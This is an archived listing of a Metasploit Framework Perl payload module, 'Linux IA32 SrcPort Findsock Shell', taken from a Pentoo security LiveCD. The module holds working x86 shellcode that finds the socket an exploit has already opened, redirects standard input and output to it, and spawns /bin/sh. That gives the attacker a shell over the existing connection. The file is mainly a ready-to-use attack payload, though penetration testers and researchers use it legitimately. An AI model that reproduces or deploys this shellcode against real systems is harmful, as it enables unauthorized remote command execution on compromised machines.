home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / payloads / linux_ia32_findsock.pm < prev    next >
Text File  |  2006-06-30  |  2KB  |  78 lines
  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Payload::linux_ia32_findsock;
  11. use strict;
  12. use base 'Msf::PayloadComponent::FindConnection';
  13.  
  14. my $advanced = { };
  15. my $info =
  16. {
  17.   'Name'         => 'Linux IA32 SrcPort Findsock Shell',
  18.   'Version'      => '$Revision: 1.3 $',
  19.   'Description'  => 'Spawn a shell on the established connection',
  20.   'Authors'      => [ 'vlad902 <vlad902 [at] gmail.com>', ],
  21.   'Arch'         => [ 'x86' ],
  22.   'Priv'         => 0,
  23.   'OS'           => [ 'linux' ],
  24.   'Size'         => '',
  25.   'UserOpts'     =>
  26.     {
  27.       'CPORT' => [1, 'PORT', 'Local port used by exploit'],
  28.     }
  29. };
  30.  
  31. sub new {
  32.   my $class = shift;
  33.   my $hash = @_ ? shift : { };
  34.   $hash = $class->MergeHashRec($hash, {'Info' => $info, 'Advanced' => $advanced,});
  35.   my $self = $class->SUPER::new($hash, @_);
  36.  
  37.   $self->_Info->{'Size'} = $self->_GenSize;
  38.   return($self);
  39. }
  40.  
  41. sub Size {
  42.   my $self = shift;
  43.   my $size = $self->SUPER::Size;
  44.   return($size);
  45. }
  46.  
  47. sub Build {
  48.   my $self = shift;
  49.   return($self->Generate($self->GetVar('CPORT')));
  50. }
  51.  
  52. sub Generate {
  53.   my $self = shift;
  54.   my $port = shift;
  55.  
  56.   my $off_port = 26;
  57.   my $port_bin = pack('n', $port);
  58.  
  59.   my $shellcode =
  60.     "\x31\xd2\x52\x89\xe5\x6a\x07\x5b\x6a\x10\x54\x55".
  61.     "\x52\x89\xe1\xff\x01\x6a\x66\x58\xcd\x80\x66\x81".
  62.     "\x7d\x02\x11\x5c\x75\xf1\x5b\x6a\x02\x59\xb0\x3f".
  63.     "\xcd\x80\x49\x79\xf9\x52\x68\x2f\x2f\x73\x68\x68".
  64.     "\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b".
  65.     "\xcd\x80";
  66.  
  67.   substr($shellcode, $off_port, 2, $port_bin);
  68.   return($shellcode);
  69. }
  70.  
  71. sub _GenSize {
  72.   my $self = shift;
  73.   my $bin = $self->Generate('4444');
  74.   return(length($bin));
  75. }
  76.  
  77. 1;
  78.